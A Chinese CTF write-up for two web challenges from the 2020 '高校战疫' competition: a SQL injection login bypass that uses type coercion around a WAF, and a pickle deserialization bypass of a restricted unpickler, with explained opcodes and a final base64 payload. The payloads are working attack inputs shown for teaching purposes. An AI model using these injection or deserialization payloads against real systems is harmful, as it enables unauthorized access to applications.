高校战疫2020
Web
sqlchenkin
1 |
|
fuzz一下发现有waf,or , 空格 ,...
不能用,但是 ' , &
可用,题目要求查询结果的第一个username字段为admin
,,可构造类型转换绕过 password 比较。如,构 造弱类型运算使得 and 后面为 1,从而绕过 password:
1 | MariaDB [test]> select username from user where username='admin' and password='1'&'1'; |
payload如下:
1 | username=admin&password='&0&'1 |
这里%26编码后用浏览器提交是没有效果的,要用burpsuite提交
官方payload
username=admin’and(1-&password=)-’
或者使 password 查询条件为整数 0,绕过字符串比较
SELECT username from user where username='admin'and(1-'and password=')-'
1 | MariaDB [test]> select username from user where username='admin'and(1-' and password=')-''; |
Webtmp
分析
考点是pickle反序列化,过滤掉了 R 指令码,并且重写了 find_class:
1 | class RestrictedUnpickler(pickle.Unpickler): |
这就禁止引用除了 __main__
之外的其他module,但是如果通过GLOBAL指令引入的变量,可以看作是原变量的引用。我们在栈上修改它的值,会导致原变量也被修改
于是可以先引入__main__.secret
这个module,然后把一个 dict 压入栈,内容是 {'name': 'xx', 'category': 'yyy'}
,之后执行 build指令,改写 __main__.secret.name
和 __main__.secret.category
,此时 secret.name和 secret.category 已经变成我们想要的内容
之后再压入一个正常的 Animal对象,name和category分别是 xx和yyy最后构造的pickle数据如下
b"\x80\x03c__main__\nsecret\n}(Vname\nVxx\nVcategory\nVyyy\nub0c__main__\nAnimal\n)\x81}(S'name'\nS'xx'\nS'category'\nS'yyy'\nub."
MARK = b’(’ # push special markobject on stack 代表一个元组的开始
EMPTY_DICT = b’}’ # push empty dict
UNICODE = b’V’ # push Unicode string; raw-unicode-escaped’d argument
SETITEMS = b’u’ # modify dict by adding topmost key+value pairs
u
操作符。它干这样的事情:
- 调用
pop_mark
。也就是说,把当前栈的内容扔进一个数组arr
,然后把当前栈恢复到MARK时的状态。
执行完成之后,arr=['name', 'rxz', 'grade', 'G2']
;当前栈里面存的是__main__.Student
这个类、一个空的dict
- 拿到当前栈的末尾元素,规定必须是一个
dict
。
这里,读到了栈顶那个空dict
。- 两个一组地读
arr
里面的元素,前者作为key,后者作为value,存进上一条所述的dict
。STRING = b’S’ # push string; NL-terminated string argument
BUILD = b’b’ # call setstate or dict.update()
x81
操作符。它的作用是:从栈中先弹出一个元素,记为args
;再弹出一个元素,记为cls
。接下来,执行cls.__new__(cls, *args)
,然后把得到的东西压进栈。说人话,那就是:从栈中弹出一个参数和一个class,然后利用这个参数实例化class,把得到的实例压进栈。
编码为base64提交即可
gANjX19tYWluX18Kc2VjcmV0Cn0oVm5hbWUKVnh4ClZjYXRlZ29yeQpWeXl5CnViMGNfX21haW5fXwpBbmltYWwKKYF9KFMnbmFtZScKUyd4eCcKUydjYXRlZ29yeScKUyd5eXknCnViLg==